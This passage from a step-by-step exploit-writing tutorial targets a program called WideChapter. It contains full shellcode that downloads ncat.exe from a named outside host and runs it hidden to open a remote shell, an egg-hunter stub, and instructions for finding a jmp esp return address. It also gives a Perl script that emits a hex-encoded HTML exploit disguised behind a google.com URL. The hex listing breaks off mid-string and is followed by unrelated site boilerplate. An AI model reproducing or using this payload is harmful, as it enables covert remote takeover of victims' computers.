push dword 77e60101h     ; kernel32.dll base + 0101h
xor edx, edx         ; clear edx, null free method
mov dl, 2eh     ; -2eh from loadlibrarya address
push edx

; end setup

call scanner

pop esi         ; get our string addresses back
pop edx
pop ebx

push edx         ; edx = path of file

; setup function to be called (urldownloadtofilea)

push edx
xor ecx, ecx
push ecx
push ecx
push edx         ; path of download
push ebx         ; url of download
push ecx

; end setup


; setup scanner()

push dword 8d8d5602h
push dword 0badcfdedh
push eax         ; eax = base of urlmon.dll
xor edx, edx
mov dl, 1bh
push edx

; end setup

call scanner

nop
nop

pop edx         ; get file path back

; setup function to be called (winexec)

pop edx
xor ecx, ecx         ; run as sw_hide ...
;inc ecx         ; un-comment this to run the commands as sw_normal
push ecx
push edx

; end setup

; setup scanner()

push dword 0c458b66h
push dword 1337f0fdh
push dword 77e60101h
xor edx, edx
mov dl, 16h
push edx

; end setup

call scanner

mov ecx, 0deadcfdeh
infloop:         ; infinite loop; no crash when done
inc ecx
cmp ecx, 0badcfdedh
loopnz infloop       ; if this slows you down too much, remove it!

int3h

;###############################################################################


;###############################################################################
;                                         TEXT DATA
;###############################################################################

data:
call continue
db 'URLMON.DLL', 0ffh
db 'http://www.elitehaven.net/ncat.exe', 0ffh   ; the file at this address
                                                ; spawns remote shell on port
                                                ; 9999
db 'c:
c.exe', 0ffh

;###############################################################################


;---------------------- [ END OF FILE ] -----------------------


The more observant of you may have noticed that I have used two new
instructions, do you remember them?

-----------------------------------------------------------------------------
|| Instruction || Usage                                                     ||
-----------------------------------------------------------------------------
|| repne       || Repeat following instruction while zero flag is not set. ||
-----------------------------------------------------------------------------
|| scasb       || Scan string for byte. This doesn't treat the string as   ||
||             || asciiz, it just scans the memory until it hits a specific||
||             || byte (contained in the al register), then it sets the     ||
||             || zero flag.                                               ||
||             || Used in context 'repne scasb', when the byte is matched   ||
||             || it will set the zero flag, and upon the next 'repne' it   ||
||             || will stop scanning. Scasb searches from the address       ||
||             || pointed to in the edi register, incrementing it each     ||
||             || time round.                                               ||
-----------------------------------------------------------------------------

Once again, I recommend that you try and understand what is going on by printing
off the little table and comparing it with the instructions used in the
shellcode, since it may help you in future to actually have an understanding of
some of these instructions.


Section 6: Writing More Shellcode Or Finding The Buffer.
========================================================

If you've made it this far, it's all down hill from here - the hardest part is
long gone! Give yourself a pat on the back for your sheer stamina levels! There
is just one more relatively tiny part of shellcode to write, and that is the
part which scans the memory for the buffer. Since it uses instructions which we
have already covered, I won't stand on ceremony:

;---------------------- [ subcode.asm ] ----------------------

; WideChapter Sub-Shellcode
; [peter4020@hotmail.com]
;
; nasmw -s -fbin -o subcode.s subcode.asm
;
; Scans from 001bc201h until it hits the 'BASE' string, tacked on
; to the front of the shellcode.
; This is done because the shellcode tends to lie at a range of
; addresses which are dynamically allocated at runtime.

bits 32

push 011bc201h             ; area to scan + 01000000h to avoid null
dec byte [esp+03h]         ; [esp+03] = 01h
pop edi                     ; area to scan - 01000000h to add null
scan:
inc dword edi               ; increment edi
cmp byte [edi], 42h         ; compare the byte at edi with 42h
jne scan                   ; if unequal, start again ...
cmp dword [edi], 45534142h ; 'BASE', signifies start of shellcode
jne scan                   ; if not 'BASE', start again ...
lea eax, [edi+10h]         ; aims past base, into the nulls
jmp eax                     ; jump to null shellcode sled

;---------------------- [ END OF FILE ] ----------------------

This will scan from 001bc201 until it finds the text 'BASE', as in 'BASECODE'
which must be placed at the start of the buffer, followed by around 22 'nops'
(to ensure that we don't miss the start of our code), which in turn must be
followed by our main url download and execute shellcode.
I will also precede the entire string by 'http://www.google.com/' in the event
that the exploit fails, or another browser accesses the page, to avoid
suspiciousness.


Section 7: Writing The Exploit.
===============================


From here onwards, all that is required is precision. The instruction pointer
must be overwritten with the address of a 'call/jmp esp' instruction in a loaded
module. So that is what we must do first.

Load your favourite executable disassembler (I will be using hiew 6.11), and
search kernel32.dll for the bytes:

FF D4 (call esp)

Or ..

FF E4 (jmp esp)

And note the offset at which these appear. I recommended that you use a
disassembler instead of a hex editor, because the absolute address should be
given.

Mine is at offset 77e9ae59 in the memory. Sometimes these are different through
service packs though, so for a little exercise try and find one in another
custom module which is imported by WideChapter.

Next assemble both of the shellcodes with nasm, using the following
instructions:

nasmw -s -fbin -o tinymod4.s tinymod4.asm
nasmw -s -fbin -o subcode.s subcode.asm

Then check the file sizes of the .s files, they should be as follows:

subcode.s     30 bytes
tinymod4.s   244 bytes

Then, open your favourite hex editor (I use frhed), and create the following
file exactly as below:







Remove one new line from before and after the 'var url ...' string. The filesize
should come to exactly 667 bytes.

If you find this description a bit too confusing, install the perl interpreter
from:

http://www.activestate.com/Products/Download/Download.plex?id=ActivePerl

And run the following file:

#---------------------- [ wcfile.pl ] ------------------------

#!/usr/bin/perl -w

$shellcode = "" .
"x3cx68x74x6dx6cx3ex0dx0ax3cx62x6fx64" .
"x79x3ex0dx0ax3cx73x63x72x69x70x74x20" .
"x6cx61x6ex67x75x61x67x65x3dx6ax61x76" .
"x61x73x63x72x69x70x74x3ex0dx0ax76x61" .
"x72x20x75x72x6cx20x3dx20x22x68x74x74" .
"x70x3ax2fx2fx77x77x77x2ex67x6fx6fx67" .
"x6cx65x2ex63x6fx6dx2fx42x41x53x45x43" .
"x4fx44x45x90x90x90x90x90x90x90x90x90" .
"x90x90x90x90x90x90x90x90x90x90x90x90" .
"x90xebx1fx5ex5ax5fx59x5bx47x88xd8xf2" .
"xaexebx01x90x4fx56xffx37x5ex39xf3x5e" .
"x74x02xebxecx29xd7xffxd7xffxe6xebx28" .
"x5fx89xfex47x80x3fxffx75xfaxfex07x47" .
"x89xfbx47x80x3fxffx75xfaxfex07x47x89" .
"xfax47x80x3fxffx75xfaxfex07x47x52x53" .
"x52x56xebx02xebx6ax56x68xffx5ex5bxc2" .
"x68xdexcfxadxdex68x01x01xe6x77x31xd2" .
"xb2x2ex52xe8x9bxffxffxffx5ex5ax5bx52" .
"x52x31xc9x51x51x52x53x51x68x02x56x8d" .
"x8dx68xedxfdxdcxbax50x31xd2xb2x1bx52" .
"xe8x7axffxffxffx90x90x5ax5ax31xc9x51" .
"x52x68x66x8bx45x0cx68xfdxf0x37x13x68" .
"x01x01xe6x77x31xd2xb2x16x52xe8x59xff" .
"xffxffxb9xdexcfxadxdex41x81xf9xedxfd" .
"xdcxbaxe0xf7xe8x67xffxffxffx55x52x4c" .
"x4dx4fx4ex2ex44x4cx4cxffx68x74x74x70" .
"x3ax2fx2fx77x77x77x2ex65x6cx69x74x65" .
"x68x61x76x65x6ex2ex6ex65x74x2fx6ex63" .
"x61x74x2ex65x78x65xffx63x3ax5cx6ex63" .
"x2ex65x78x65xffx61x61x61x61x61x61x61" .
"x61x61x61x61x61x61x61x61x61x61x61x61" .
"x61x61x61x61x61x61x61x61x61x61x61x61" .
"x61x61x61x61x61x61x61x61x61x61x61x61" .
"x61x61x61x61x61x61x61x61x61x61x61x61" .
"x61x61x61x61x61x61x61x61x61x61x61x61" .
"x61x61x61x61x61x61x61x61x61x61x61x61" .
"x61x61x61x61x61x61x61x61x61x61x61x61" .
"x61x61x61x61x61x61x61x61x61x61x61x61" .
"x61x61x61x61x61x61x61x61x61x61x61x61" .
"x61x61x61x61x61x61x61x61x61x61x61x

展开全部

相关文章

更多+相同厂商

热门推荐

  • 最新排行
  • 最热排行
  • 评分最高
排行榜

    点击查看更多

      点击查看更多

        点击查看更多

        说两句网友评论

          我要评论...
          取消